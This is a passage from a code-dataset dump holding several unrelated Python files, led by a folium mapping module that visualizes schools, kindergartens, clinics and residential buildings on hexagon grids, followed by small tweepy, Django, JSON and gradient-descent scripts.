return maps, polygons_hex_list, polylines_list, feature_group_hex\n\n #Функция для отрисовки гексагонов на карте в пределах выбранных районов\n def print_hexagones(self, maps, districts_list, type_t, feature_group_name):\n if type_t == 'district':\n df_target_borders = self.get_districts(districts_list)\n hexagone_size = 9\n color = 'blue'\n elif type_t == 'region':\n df_target_borders = self.get_regions(districts_list)\n hexagone_size = 8\n color = 'green'\n\n feature_group_hex = folium.FeatureGroup(feature_group_name)\n\n #maps, polygons_hex, polylines = self.create_hexagons(maps, df_target_borders.iloc[0]['geometry'])\n for i in range(df_target_borders.shape[0]):\n maps, polygons_hex, polylines, feature_group_hex = self.create_hexagons(maps, df_target_borders.iloc[i]['geometry'],\n hexagone_size=hexagone_size,\n color=color, feature_group_hex=feature_group_hex)\n if type_t == 'district':\n self.big_polygons_hex_list_district.append(polygons_hex)\n self.big_polylines_list_district.append(polylines)\n elif type_t == 'region':\n self.big_polygons_hex_list_regions.append(polygons_hex)\n self.big_polylines_list_regions.append(polylines)\n\n #print('list_ken', len(self.big_polygons_hex_list_regions), len(self.big_polygons_hex_list_district))\n\n return feature_group_hex\n\n def intersction(self, df_objects, polygons_df):\n df_objects['centroid'] = df_objects.geometry.centroid\n polygons_df['polygon'] = polygons_df.geometry\n objects_df = df_objects.set_geometry('centroid')\n\n return gpd.sjoin(objects_df, polygons_df)\n\n #Функция для визуализации тех объектов, у которых тип указан точкой\n def visualize_hexagons_for_point_object(self, hexagons):\n\n polylines = []\n lat = []\n lng = []\n for hex in hexagons:\n polygons = h3.h3_set_to_multi_polygon([hex], geo_json=False)\n outlines = [loop for polygon in polygons for loop in polygon]\n polyline = [outline + [outline[0]] for outline in outlines][0]\n lat.extend(map(lambda v: v[0], polyline))\n lng.extend(map(lambda v: v[1], polyline))\n polylines += polyline\n\n return polylines\n\n def get_table_row(self, left_column_value, right_column_value, left_col_color, right_col_color):\n table_row = \"\"\"\n \n \"\"\" + left_column_value + \"\"\"\n {}\"\"\".format(\n right_column_value) + \"\"\"\n \n \"\"\"\n\n return table_row\n\n def get_buffer_text(self, header, left_col_color, right_col_color, fields_map):\n static_text = \"\"\"\n \n \n \n

{}

\"\"\".format(header) + \"\"\"\n \n \n \"\"\"\n\n for i in fields_map:\n static_text += self.get_table_row(i, fields_map[i], left_col_color, right_col_color)\n\n static_text += \"\"\"\n \n
\n \n \"\"\"\n\n return static_text\n\n\n def add_marker(self, location_latitude, location_longitude, object, color, feature_group_object, feature_group_name, total_buildings_number, kinder_number, students_number, adults_number):\n if feature_group_name == 'schools':\n #static_text = \"\"\"\n #Количество жилых зданий в радиусе доступности: {}
Количество детей школьного возраста, проживающих в радиусе доступности: {}\n #
Общее количество человек, проживающих в радиусе доступности: {}
\n #\"\"\".format(total_buildings_number, students_number, kinder_number + students_number + adults_number)\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n header = list(object['short_name'])[0]\n total_buildings_number_text = 'Количество жилых зданий в радиусе доступности'\n total_buildings_number = total_buildings_number\n children_text = 'Количество детей школьного возраста, проживающих в радиусе доступности'\n children_number = students_number\n total_number_text = 'Общее количество человек, проживающих в радиусе доступности'\n total_number = kinder_number + students_number + adults_number\n\n fields_map = {}\n fields_map[total_buildings_number_text] = total_buildings_number\n fields_map[children_text] = children_number\n fields_map[total_number_text] = total_number\n\n static_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n tooltip_text = '{}'.format(list(object['short_name'])[0])\n folium.Marker(location=[location_latitude, location_longitude],\n popup=folium.Popup(folium.Html(static_text, script=True), parse_html=True),\n tooltip=folium.Tooltip(tooltip_text), icon=folium.Icon(color=color)).add_to(feature_group_object)\n\n if feature_group_name == 'kindergartens':\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n header = 'Детский сад при школе ' + list(object['short_name'])[0]\n total_buildings_number_text = 'Количество жилых зданий в радиусе доступности'\n total_buildings_number = total_buildings_number\n children_text = 'Количество детей детсадовского возраста, проживающих в радиусе доступности'\n children_number = kinder_number\n total_number_text = 'Общее количество человек, проживающих в радиусе доступности'\n total_number = kinder_number + students_number + adults_number\n\n fields_map = {}\n fields_map[total_buildings_number_text] = total_buildings_number\n fields_map[children_text] = children_number\n fields_map[total_number_text] = total_number\n\n static_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n\n tooltip_text = '{}'.format(list(object['short_name'])[0])\n folium.Marker(location=[location_latitude, location_longitude],\n popup=folium.Popup(folium.Html(static_text, script=True), parse_html=True),\n tooltip=folium.Tooltip(tooltip_text), icon=folium.Icon(color=color)).add_to(feature_group_object)\n\n if feature_group_name == 'medicine':\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n header = 'Медицинское учреждение'\n total_buildings_number_text = 'Количество жилых зданий в радиусе доступности'\n total_buildings_number = total_buildings_number\n total_number_text = 'Общее количество человек, проживающих в радиусе доступности'\n total_number = kinder_number + students_number + adults_number\n\n fields_map = {}\n fields_map[total_buildings_number_text] = total_buildings_number\n fields_map[total_number_text] = total_number\n\n static_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n\n tooltip_text = 'Медицинское учреждение'\n folium.Marker(location=[location_latitude, location_longitude],\n popup=folium.Popup(folium.Html(static_text, script=True), parse_html=True),\n tooltip=folium.Tooltip(tooltip_text), icon=folium.Icon(color=color)).add_to(feature_group_object)\n\n def add_object_borders(self, maps, object, color, fillcolor, fillopacity, feature_group_object, feature_group_name, mf_group):\n skip_flag = False\n if str(type(object['geometry'])).split(\"'\")[1] == 'shapely.geometry.polygon.Polygon':\n points = [self.swap_points(list(object['geometry'].exterior.coords))]\n\n elif str(type(object['geometry'])).split(\"'\")[1] == 'shapely.geometry.point.Point':\n h3_address = h3.geo_to_h3(object['centroid latitude'], object['centroid longitude'], 12)\n points = self.visualize_hexagons_for_point_object([h3_address])\n\n elif str(type(object['geometry'])).split(\"'\")[1] == 'shapely.geometry.multipolygon.MultiPolygon':\n mycoordslist = [list(x.exterior.coords) for x in object['geometry'].geoms]\n mycoordslist_unzip = []\n for j in mycoordslist:\n mycoordslist_unzip += j\n points = [self.swap_points(mycoordslist_unzip)]\n\n elif str(type(object['geometry'])).split(\"'\")[1] == 'shapely.geometry.linestring.LineString':\n h3_address = h3.geo_to_h3(object['centroid latitude'], object['centroid longitude'], 12)\n points = self.visualize_hexagons_for_point_object([h3_address])\n\n if feature_group_name == 'school':\n if object['workload'] < 100:\n fillcolor = 'green'\n elif object['workload'] < 200:\n fillcolor = 'yellow'\n elif object['workload'] >= 200:\n fillcolor = 'red'\n else:\n fillcolor = 'blue'\n html_text = \"\"\"\n
  • Построить радиус доступности
  • \n
  • Редактировать данные
  • \n \"\"\".format('s', object['id'], 's', object['id'])\n #static_text = \"\"\"\n #Школа: {}
    Загруженность (в процентах от номинальной): {}
    Рейтинг: {}\n #
  • Сайт школы
  • \n #\"\"\".format(object['short_name'], object['workload'], object['rating'], object['website'])\n\n name_text = 'Школа'\n workload_text = 'Загруженность (в процентах от номинальной)'\n rating_text = 'Рейтинг'\n website_text = 'Сайт школы'\n header = object['short_name']\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n\n fields_map = {}\n fields_map[name_text] = object['short_name']\n fields_map[workload_text] = object['workload']\n fields_map[rating_text] = object['rating']\n fields_map[website_text] = '{}
    '.format(object['website'], object['website'])\n\n if fields_map[rating_text] == '' or object['rating'] == 'nan':\n fields_map[rating_text] = 'Нет данных'\n\n static_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n\n folium.PolyLine(locations=points, color=color, fill_color=fillcolor, fill_opacity=fillopacity,\n popup=folium.Popup(static_text + html_text),\n tooltip='{}'.format(object['short_name'])).add_to(feature_group_object)\n\n if feature_group_name == 'kindergartens':\n #static_text = \"\"\"\n #Детский сад при школе: {}
    Рейтинг: {}\n #
  • Сайт детского сада
  • \n #\"\"\".format(object['short_name'], object['rating'], object['website'])\n\n name_text = 'Детский сад при школе'\n capacity_text = 'Расчетная вместимость(чел)'\n rating_text = 'Рейтинг'\n website_text = 'Сайт школы'\n header = 'Детский сад при школе ' + object['short_name']\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n\n fields_map = {}\n fields_map[name_text] = object['short_name']\n fields_map[capacity_text] = object['capacity']\n fields_map[rating_text] = object['rating']\n fields_map[website_text] = '{}
    '.format(object['website'], object['website'])\n\n if fields_map[rating_text] == '' or object['rating'] == 'nan':\n fields_map[rating_text] = 'Нет данных'\n\n static_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n\n html_text = \"\"\"\n
  • Построить радиус доступности
  • \n \"\"\".format('k', object['id'])\n folium.PolyLine(locations=points, color=color, fill_color=fillcolor, fill_opacity=fillopacity,\n popup=folium.Popup(static_text + html_text),\n tooltip='Детский сад при школе {}'.format(object['short_name'])).add_to(feature_group_object)\n\n if feature_group_name == 'buildings':\n #Раскарска зданий в зависимости от года постройки, в try-except что не трогать все, что не имеет года\n try:\n if int(object['year']) < 1930:\n fillcolor = 'red'\n elif int(object['year']) < 1970:\n fillcolor = 'orange'\n elif int(object['year']) < 2000:\n fillcolor = 'yellow'\n elif int(object['year']) < 2023:\n fillcolor = 'green'\n except BaseException:\n fillcolor = 'blue'\n total_schools = int(object['over_schools']) + int(object['free_schools'])\n #statistic_text = \"\"\"\n #Количество детей: {}
    Количество школьников: {}
    Количество взрослых: {}
    \n #Год постройки: {}
    Количество школ в радиусе доступности: {}
    Количество свободных школ: {}
    \n # Количество детских садов в радиусе доступ��ости: {}
    \n # Количество медицинских учреждений в радусе доступности: {}
    \n #\"\"\".format(object['kindergartens'], object['Pupils'], object['adults'], object['year'], total_schools,\n # object['free_schools'], object['avaliable_kindergartens'], object['avaliable_medicine'])\n html = \"\"\"\n
  • {}
  • \n \"\"\".format(object['id'].split('/')[1], object['id'].split('/')[1])\n\n fields_map = {}\n kinder_text = 'Количество детей'\n student_text = 'Количество школьников'\n adult_text = 'Количество взрослых'\n year_text = 'Год постройки'\n schools_number_text = 'Количество школ в радиусе доступности'\n avaliable_schools_number_text = 'Количество свободных школ'\n kinder_number_text = 'Количество детских садов в радиусе доступности'\n med_number_text = 'Количество медицинских учреждений в радусе доступности'\n\n header = '{}, {}'.format(object['addr:street'],\n object['addr:housenumber'])\n left_col_color = \"#19a7bd\"\n right_col_color = \"#f2f0d3\"\n fields_map[kinder_text] = object['kindergartens']\n fields_map[student_text] = object['Pupils']\n fields_map[adult_text] = object['adults']\n fields_map[year_text] = object['year']\n fields_map[schools_number_text] = total_schools\n fields_map[avaliable_schools_number_text] = object['free_schools']\n fields_map[kinder_number_text] = object['avaliable_kindergartens']\n fields_map[med_number_text] = object['avaliable_medicine']\n\n statistic_text = self.get_buffer_text(header, left_col_color, right_col_color, fields_map)\n\n polyline = folium.PolyLine(locations=points, color=color, fill_color=fillcolor, fill_opacity=fillopacity,\n #popup=statistic_text.format(\n # object['kindergartens'], object['Pupils'],\n # object['adults'], object['year']),\n popup=folium.Popup(statistic_text),\n tooltip='{}, {}'.format(object['addr:street'],\n object['addr:housenumber']))\n if mf_group == 'feature':\n polyline.add_to(feature_group_object)\n elif mf_group == 'map':\n polyline.add_to(maps)\n\n if feature_group_name == 'medicine':\n html_text = \"\"\"\n
  • Построить радиус доступности
  • \n \"\"\".format('m', object['id'].split('/')[0] + '=' + object['id'].split('/')[1])\n folium.PolyLine(locations=points, color=color, fill_color=fillcolor, fill_opacity=fillopacity,\n popup=folium.Popup(html_text),\n tooltip='{}'.format(object['addr:housenumber'])).add_to(feature_group_object)\n\n def add_circle(self, location_latitude, location_longitude, radius, circle_color, fill_color, feature_group_object, feature_group_name):\n folium.Circle(location=[location_latitude, location_longitude], radius=radius,\n color=circle_color, fill_color=fill_color).add_to(feature_group_object)\n\n #Функция для нанесения объектов на карту, которые ложатся внуть полигонов, поступающих на вход\n def print_objects(self, maps, df_objects, polygons_df, color, feature_group_name, object_type_name, marker, borders, circle):\n if len(polygons_df) > 0:\n #df_objects['centroid'] = df_objects.geometry.centroid\n #objects_df = df_objects.set_geometry('centroid')\n #df_inter = gpd.sjoin(objects_df, polygons_df)\n self.df_inter = self.intersction(df_objects, polygons_df)\n #Для отображения года постройки у жилых зданий\n if object_type_name == 'buildings':\n self.df_inter['year'].fillna('нет данных', inplace=True)\n feature_group_object = folium.FeatureGroup(feature_group_name)\n\n for i in range(self.df_inter.shape[0]):\n #Добавление маркера объекта на карту\n location_latitude = self.df_inter.iloc[i]['centroid latitude']\n location_longitude = self.df_inter.iloc[i]['centroid longitude']\n if marker == True:\n #folium.Marker(location=[location_latitude, location_longitude],\n # popup='{}'.format(self.df_inter.iloc[i]['short_name']),\n # tooltip='Click here', icon=folium.Icon(color=color)).add_to(feature_group_object)\n self.add_marker(location_latitude, location_longitude, self.df_inter.iloc[i], color, feature_group_object, feature_group_name)\n\n #Добавление границ объекта на карту\n if borders == True:\n #points = [self.swap_points(list(self.df_inter.iloc[i]['geometry'].exterior.coords))]\n #folium.PolyLine(locations=points, color=color, fill_color=\"blue\", fill_opacity=0.3,\n # popup='{}'.format(self.df_inter.iloc[i]['short_name']), tooltip='{}'.format(self.df_inter.iloc[i]['short_name'])).add_to(feature_group_object)\n self.add_object_borders(maps, self.df_inter.iloc[i], color=color,\n fillcolor='blue', fillopacity=0.3,\n feature_group_object=feature_group_object,\n feature_group_name=feature_group_name, mf_group='feature')\n\n #Добавление кругов\n if circle == True:\n radius = 500\n circle_color = 'red'\n fill_color = 'blue'\n #folium.Circle(location=[location_latitude, location_longitude], radius=radius,\n # color=circle_color, fill_color=fill_color).add_to(feature_group_object)\n\n #self.add_circle(location_latitude, location_longitude, radius, circle_color, fill_color, feature_group_object, feature_group_name)\n self.df_inter.iloc[i].buffer(500)\n\n if marker == False and borders == False and circle == False:\n pass\n\n #feature_group_object.add_to(maps)\n\n return feature_group_object\n\n def color_poly_choropleth(self, maps, data, json, columns, legend_name, feature, bins):\n folium.Choropleth(\n geo_data=json,\n name=\"choropleth\",\n data=data,\n columns=columns,\n key_on=\"feature.id\",\n fill_color=\"YlGn\",\n fill_opacity=0.7,\n line_opacity=0.2,\n legend_name=legend_name,\n nan_fill_color='white',\n bins=bins\n\n ).add_to(maps)\n\n return maps\n\n def fill_opacity(self, x):\n positive_fill = 0.5\n negative_fill = 0.0\n if self.first_flag:\n self.first_flag = False\n return negative_fill\n if x['properties']['index_right'] not in self.is_hex_colored:\n self.is_hex_colored[x['properties']['index_right']] = 1\n return positive_fill\n else:\n self.is_hex_colored[x['properties']['index_right']] += 1\n return negative_fill\n\n\n def fill_color_for_hex(self, maps, df_intersection_for_choro, feature_group_name, count_map, object_type_name):\n\n max_count = max(count_map.values())\n min_count = min(count_map.values())\n avg_count = int((max_count + min_count) / 2)\n avg_1 = int((avg_count + min_count) / 2)\n avg_2 = int((avg_count + max_count) / 2)\n color_list = ['red', 'yellow', 'green']\n\n colormap = branca.colormap.LinearColormap(vmin=avg_1, vmax=avg_2, colors=color_list)\n self.is_hex_colored.clear()\n self.first_flag = True\n\n if object_type_name == 'schools':\n alias = ['Количество школ: ']\n elif object_type_name == 'buildings':\n alias = ['Количество жителей: ']\n elif object_type_name == 'medicine':\n alias = ['Количество медицинских учереждений: ']\n elif object_type_name == 'kindergartens':\n alias = ['Количество детских садов: ']\n else:\n alias = ['miss: ']\n\n feature_group_object = folium.FeatureGroup(feature_group_name)\n\n folium.GeoJson(\n df_intersection_for_choro,\n style_function=lambda x: {\n 'fillColor': colormap(x['properties']['count']),\n 'color': 'black',\n 'fillOpacity': self.fill_opacity(x)},\n tooltip=folium.features.GeoJsonTooltip(fields=[\n 'count'],\n aliases=alias),\n name=feature_group_name).add_to(feature_group_object)\n\n #feature_group_object.add_to(maps)\n\n\n\n return feature_group_object\n\n def split_by_hex_and_calculate(self, df_object, object_type_name):\n ddf = df_object.groupby('index_right')['id'].nunique()\n index_list = list(ddf.index)\n value_list = list(ddf)\n cols_list = ['kindergartens', 'Pupils', 'adults']\n count_map = {}\n df_object['count'] = ''\n if object_type_name == 'schools' or object_type_name == 'medicine' or object_type_name == 'kindergartens':\n for i in range(len(index_list)):\n count_map[index_list[i]] = value_list[i]\n df_object.loc[(df_object['index_right'] == index_list[i]), 'count'] = value_list[i]\n\n if object_type_name == 'buildings':\n for i in range(len(index_list)):\n total_number_of_people = df_object.loc[df_object['index_right'] == index_list[i], cols_list].astype(int).sum()\n total_number_of_people = total_number_of_people[0] + total_number_of_people[1] + total_number_of_people[2]\n count_map[index_list[i]] = total_number_of_people\n df_object.loc[(df_object['index_right'] == index_list[i]), 'count'] = float(total_number_of_people)\n\n df_intersection_for_choro = gpd.GeoDataFrame(df_object.set_index('id')[[\"geometry\", 'index_right', 'count']]).to_json()\n\n return df_intersection_for_choro, count_map\n\n def choropleth_for_hex(self, maps, feature_group_name, object_type_name):\n df_intersection_for_choro = self.df_inter.copy(deep=True)\n df_intersection_for_choro.set_geometry('polygon')\n df_intersection_for_choro.drop(columns=['geometry'], axis=1, inplace=True)\n df_intersection_for_choro.rename(columns={'polygon': 'geometry'}, inplace=True)\n\n #df_intersection_for_choro = gpd.GeoDataFrame(df_intersection_for_choro.set_index('id')[[\"geometry\", 'index_right', 'school_count']]).to_json()\n\n self.df_intersection_for_choro, self.count_map = self.split_by_hex_and_calculate(df_intersection_for_choro, object_type_name)\n feature_group_object = self.fill_color_for_hex(maps, self.df_intersection_for_choro, feature_group_name, self.count_map, object_type_name)\n\n return feature_group_object\n\n def print_choropleth(self, maps, df_objects, df_borders, feature_group_name, type_t, object_type_name):\n if len(df_borders) > 0:\n if type_t == 'district':\n id_column = 'district_id'\n if type_t == 'region':\n id_column = 'region_id'\n district_list = list(df_borders[id_column])\n df_objects = df_objects.loc[df_objects[id_column].isin(district_list)]\n\n df_objects['geometry'] = df_objects['geometry'].astype(str)\n if object_type_name == 'buildings':\n df_objects['total_number_of_people'] = df_objects['kindergartens'].astype(int) + df_objects['Pupils'].astype(int) + df_objects['adults'].astype(int)\n agg_all = df_objects.groupby([id_column], as_index=False).agg({'total_number_of_people': 'sum'}).rename(\n columns={'total_number_of_people': 'counts'})\n legend_name = 'number of residents'\n else:\n agg_all = df_objects.groupby([id_column], as_index=False).agg({'centroid latitude': 'count'}).rename(\n columns={'centroid latitude': 'counts'})\n if object_type_name == 'schools':\n legend_name = 'number of schools'\n if object_type_name == 'medicine':\n legend_name = 'number of medicine objects'\n if object_type_name == 'kindergartens':\n legend_name = 'number of kindergartens'\n agg_all.rename(columns={id_column: 'id'}, inplace=True)\n df_borders.rename(columns={id_column: 'id'}, inplace=True)\n data_geo_1 = gpd.GeoSeries(df_borders.set_index('id')[\"geometry\"]).to_json()\n\n maps = self.color_poly_choropleth(maps, agg_all, data_geo_1, [\"id\",\"counts\"],\n legend_name, 'counts', 10)\n\n feature_group_object = self.choropleth_for_hex(maps, feature_group_name, object_type_name)\n #self.feature_group_build.add_to(maps)\n #self.feature_group_school.add_to(maps)\n\n\n\n\n return feature_group_object\n\n def inter_for_buffer(self, df_objects, polygons_df):\n df_objects['centroid'] = df_objects.geometry.centroid\n polygons_df['polygon'] = polygons_df.geometry\n objects_df = df_objects.set_geometry('centroid')\n\n return gpd.sjoin(objects_df, polygons_df)\n\n def print_buffer(self, maps, object, radius, df_buildings, feature_group_name, type_o):\n centroid_latitude = list(object['centroid latitude'])[0]\n centroid_longitude = list(object['centroid longitude'])[0]\n\n feature_group = folium.FeatureGroup(feature_group_name)\n\n df = pd.DataFrame(\n {\n 'lat': [centroid_latitude],\n 'lon': [centroid_longitude],\n 'rad': [radius]\n }\n )\n\n #Отрисовка круга нужного радиуса на карте. Так сложно потому что земля вам не шарик, а хер пойми что\n df['geom'] = df.apply(lambda r: Point(r['lon'], r['lat']), axis=1)\n gdf = gpd.GeoDataFrame(df, geometry='geom', crs='epsg:4326')\n gdf_flat = gdf.to_crs('epsg:6347')\n gdf_flat['geom'] = gdf_flat.geometry.buffer(df.rad)\n gdf = gdf_flat.to_crs('epsg:4326')\n points = list(list(gdf['geom'])[0].exterior.coords)\n points = self.swap_points(points)\n color = 'red'\n fillcolor = 'blue'\n fillopacity = 0.3\n polyline = folium.PolyLine(locations=points, color=color, fill_color=fillcolor, fill_opacity=fillopacity)\n polyline.add_to(feature_group)\n\n #Датафрейм для пересечения\n frame_for_inter = gpd.GeoDataFrame()\n frame_for_inter['geometry'] = [Polygon(self.swap_points(points))]\n print(frame_for_inter['geometry'])\n\n #Получаем множество жилых домов, которые попадют в заданный буфер и считаем данные\n df_inter_buffer = self.inter_for_buffer(df_buildings, frame_for_inter)\n kinder_number = 0\n students_number = 0\n adults_number = 0\n total_buildings_number = df_inter_buffer.shape[0]\n for i in range(df_inter_buffer.shape[0]):\n kinder_number += int(df_inter_buffer.iloc[i]['kindergartens'])\n students_number += int(df_inter_buffer.iloc[i]['Pupils'])\n adults_number += int(df_inter_buffer.iloc[i]['adults'])\n\n #Добавляем маркер для объекта,для которого строится буффер\n self.add_marker(centroid_latitude, centroid_longitude, object, 'blue', feature_group, type_o, total_buildings_number, kinder_number, students_number, adults_number)\n\n # Добавляем дома на карту\n for i in range(df_inter_buffer.shape[0]):\n self.add_object_borders(maps, df_inter_buffer.iloc[i], color='black',\n fillcolor='green', fillopacity=0.3,\n feature_group_object=feature_group,\n feature_group_name=feature_group_name, mf_group='feature')\n #points = [self.swap_points(list(df_inter_buffer.iloc[i]['geometry'].exterior.coords))]\n #folium.PolyLine(locations=points, color='black', fill_color='green', fill_opacity=0.3,\n # popup='{}'.format(df_inter_buffer.iloc[i]['addr:street']),\n # tooltip='{}'.format(df_inter_buffer.iloc[i]['addr:housenumber'])).add_to(maps)\n\n #feature_group.add_to(maps)\n\n return feature_group\n\n\n osm = osm_parser()\n #Их структура: в них хранятся районы/округа. По первому индексу можно получить соответственно один рейон или округ\n #Далее ддя каждого района/округа хрантся полигоны, если он является мультиполигоном, второй индекс отвечает за это\n #Далее хранятся уже сами гексагоны\n #Тут хранятся полигоны гексагонов по округам\n big_polygons_hex_list_regions = []\n big_polylines_list_regions = []\n #А тут хранятся полигоны гексагонов по районам\n big_polygons_hex_list_district = []\n big_polylines_list_district = []\n #Датафрейм для пересеченных объектов\n df_inter = gpd.GeoDataFrame()\n #Вспомогательные переменные для раскраски гексагонов\n is_hex_colored = {}\n first_flag = True\n\n feature_group_build = folium.FeatureGroup('buiiiiild')\n feature_group_school = folium.FeatureGroup('schooool')\n\n df_intersection_for_choro = gpd.GeoDataFrame()\n count_map = {}\n","repo_name":"IvanTurHi/diplom","sub_path":"src/map_module.py","file_name":"map_module.py","file_ext":"py","file_size_in_byte":41904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71679144089","text":"import tweepy\n\nclass twitter():\n def __init__(self,dat) -> None:\n try:\n auth = tweepy.OAuthHandler(dat[\"consumer_key\"], dat[\"consumer_secret\"])\n auth.set_access_token(dat[\"access_token\"], dat[\"access_token_secret\"])\n api = tweepy.API(auth)\n news_keywords = dat[\"news_keywords\"]\n print(\"Twitter API authentication Successfull, watching for data!\")\n except Exception as x:\n print(\"Twitter Scraper failed to authenticate, stopping\")\n print(\"Error:\",x)\n return\n class StreamListener(tweepy.StreamListener):\n def on_status(self, status):\n print(f'New tweet from @{status.user.screen_name}: {status.text}')\n stream_listener = StreamListener()\n stream = tweepy.Stream(auth=api.auth, listener=stream_listener)\n stream.filter(track=news_keywords)\n\n","repo_name":"mackdroid/IFY_Project","sub_path":"scrapers/twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"37676183708","text":"#Define your API Key from Algorithmia\napikey = 'YOUR_API_KEY'\n\n#Initialize the Algorithmia client\nclient = Algorithmia.client(apikey)\n\n#Create an instance of the RetrieveTweetsWithKeyword algorithm\nalgo = client.algo('diego/RetrieveTweetsWithKeyword/0.1.2')\n\n#Call the algorithm for both of our keywords and store the results\ntesla_tweets = algo.pipe(keyword1).result\ncomcast_tweets = algo.pipe(keyword2).result","repo_name":"algorithmiaio/integrations","sub_path":"Twitter/SentimentAnalysis/call.py","file_name":"call.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"31"} +{"seq_id":"31592813184","text":"from networkx import has_path\nimport re\ndef getFrequency(MVPP,Query_Graph):\n list_nodes = MVPP.nodes()\n MVPP_nodes = []\n frequency = {}\n query_nodes = []\n # get all inner nodes join nodes and selection nodes\n #list_nodes = [n for n in list_nodes ]\n\n\n for node in list_nodes:\n if \"_J_\" in node:\n # We need the views have only one JOIN\n count = node.count(\"J\")\n if(count == 1):\n MVPP_nodes.append(node)\n frequency = {index: 0 for index in MVPP_nodes}\n # for graph in list(Query_Graph.values()):\n # query_nodes.append(max(graph, key=len))\n potential_views = []\n queries_with_corresponding_views = {}\n for node in MVPP_nodes:\n for q in list(Query_Graph.values()):\n # print(\"line19:\",node,node in max(q.nodes(), key=len) , max(q.nodes(), key=len))\n # for q_node in q.nodes():\n # print(\"line23:\",node ,has_path(MVPP,node,list(q.nodes())[-1]) , list(q.nodes())[-1])\n # print(\"q.nodes=>>\",list(q.nodes())[-1])\n # if( has_path(MVPP,node,list(q.nodes())[-1])):\n #print(list(q.nodes()))\n\n if (node == list(q.nodes())[1]):\n queries_with_corresponding_views[list(q.nodes())[-1]] = node\n frequency[node] +=1\n\n\n print(\"QUERIES WITH CORRESPONDING VIEWS:\",queries_with_corresponding_views)\n\n\n return frequency,queries_with_corresponding_views\n\n","repo_name":"Merzouk-Ilyes/Autoview","sub_path":"MV_Condidate_Generation/get_frequency.py","file_name":"get_frequency.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23216387389","text":"\"\"\"College URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/4.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom College1 import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',views.home),\n path('about/',views.about),\n path('contact/',views.contact),\n path('save_response/',views.save_response),\n path('login/',views.login),\n path('cart/',views.cart),\n # path('delete_item',views.delete_item),\n path('logout/',views.delete_session),\n path('dologin/',views.dologin),\n path('signup',views.signup),\n path('signup_form/',views.signup_Form),\n path('shopall/',views.shopall),\n path('mobile/',views.mobile),\n path('tablet/',views.tablet),\n path('accessories/',views.accessories),\n path('product_details/',views.product_details),\n path('chat_msg/',views.chat_msg)\n \n \n \n \n \n \n \n \n \n \n]\n","repo_name":"Umesh5678/Mobile-Shoppe-App-Project","sub_path":"College/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17578489019","text":"import json\n\n\n# json este un obiect serializat\n\nclass Vehicle:\n def __init__(self, name, engine, price):\n self.name = name\n self.engine = engine\n self.price = price\n\n\nvehicle = Vehicle('Toyota', '2.5L', 32000)\nprint(vehicle.__dict__)\n# json.dumps(vehicle.__dict__) # json.dumbs a primit ca parametru dict ob vehicle\n# print(json.dumps(vehicle.__dict__)) # am afisat ce a returnat json.dumbs(vehicle.__dict__ ramane intact)\nx = json.dumps(vehicle.__dict__) #serializare - python object -> json\n#in x am salvat ce am primit de mai sus, adica obiectul de tip json\n\nwith open('data.json', 'w') as f:\n data = f.write(x) #am aruncat obiectul json intr-un fisier data.json\n\nwith open('data.json', 'r') as f:\n data = f.read() #am citit fisierul json\n# print(type(data), data)\ny = json.loads(data) #operatia opusa serializarii json -> python object\n#am descarcat fisierul json intr-un obiect de tip dictionar\nprint(y['name'], y['engine'], y['price'])\nfor k,v in y.items():\n print(f'{k}: {v}')","repo_name":"pokiudy/SDACourses","sub_path":"01_PythonBasic/99_exercices/20nov_exercitiiAvi2.py","file_name":"20nov_exercitiiAvi2.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"17558020636","text":"from numpy import *\n\ndef compute_error_for_line_given_points(b,m,points):\n #initialize it at 0\n total_error = 0\n #for every data point we have\n for i in range(len(points)):\n #get the x,y value\n x,y = points[i, 0], points[i, 1]\n #get the difference, square it , add it to the total\n total_error += (y-(m*x + b))**2\n\n #get the average\n return total_error / float(len(points))\n\ndef step_gradient(b_current, m_current, points, learning_rate):\n #this is where our gradient starts\n b_gradient = 0\n m_gradient = 0\n N = float(len(points))\n\n for i in range(len(points)):\n x,y = points[i, 0], points[i, 1]\n #direction with respect to b and m\n #computing partial derivatives of our error function\n b_gradient = -(2/N) * (y - ((m_current*x) + b_current))\n m_gradient = (2/N) * x * (y - ((m_current*x) + b_current))\n\n\n #update our b and m values using our partial derivatives\n new_b = b_current - (learning_rate * b_gradient)\n new_m = m_current - (learning_rate * m_gradient)\n\n return (new_b, new_m)\n\ndef gradient_descent_runner(points, starting_b, starting_m, learning_rate, number_iterations):\n #starting b and m\n b = starting_b\n m = starting_m\n\n #gradient descent\n for i in range(number_iterations):\n # update b and m with the 